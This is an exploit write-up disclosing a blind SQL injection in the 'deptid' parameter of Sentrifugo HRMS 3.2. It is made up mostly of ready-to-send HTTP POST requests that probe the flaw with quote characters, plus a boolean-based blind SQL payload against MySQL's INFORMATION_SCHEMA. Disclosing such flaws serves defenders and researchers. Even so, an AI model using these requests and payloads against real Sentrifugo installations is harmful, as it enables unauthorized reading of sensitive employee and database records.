# Exploit Title: Sentrifugo HRMS 3.2 - 'deptid' SQL Injection # Exploit Author: Javier Olmedo # Website: https://hackpuntes.com # Date: 2018-08-26 # Google Dork: N/A # Vendor: http://www.sapplica.com # Software Link: http://www.sentrifugo.com/download # Affected Version: 3.2 and possibly before # Patched Version: unpatched # Category: Web Application # Platform: PHP # Tested on: Win10x64 & Kali Linux # CVE: N/A # 1. Technical Description: # Sentrifugo HRMS version 3.2 and possibly before are affected by Blind SQL Injection in deptid # parameter through POST request in "/index.php/servicedeskconf/getemployees/format/html" resource. # This allows a user of the application without permissions to read sensitive information from # the database used by the application. # 2. Proof Of Concept (PoC): # 2.1 The following POST request generates an error 500 in the Application (add ' in deptid parameter) POST /sentrifugo/index.php/servicedeskconf/getemployees/format/html HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html, */*; q=0.01 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost/sentrifugo/index.php/servicedeskconf/add Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 28 Cookie: PHPSESSID=25kchrvj0e3akklgh0inrubqu0 Connection: close bunitid=0&deptid='&reqfor=2 # 2.2 In another request, add two ' to receive a code 200 OK POST /sentrifugo/index.php/servicedeskconf/getemployees/format/html HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html, */*; q=0.01 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost/sentrifugo/index.php/servicedeskconf/add Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 28 Cookie: PHPSESSID=25kchrvj0e3akklgh0inrubqu0 Connection: close bunitid=0&deptid=''&reqfor=2 # 3. Payload: Parameter: deptid (POST) Type: boolean-based blind Title: MySQL >= 5.0 boolean-based blind - Parameter replace Payload: bunitid=0&deptid=(SELECT (CASE WHEN (5610=5610) THEN 5610 ELSE 5610*(SELECT 5610 FROM INFORMATION_SCHEMA.PLUGINS) END))&reqfor=2 # 4. Reference: # https://hackpuntes.com/cve-2018-15873-sentrifugo-hrms-3-2-blind-sql-injection/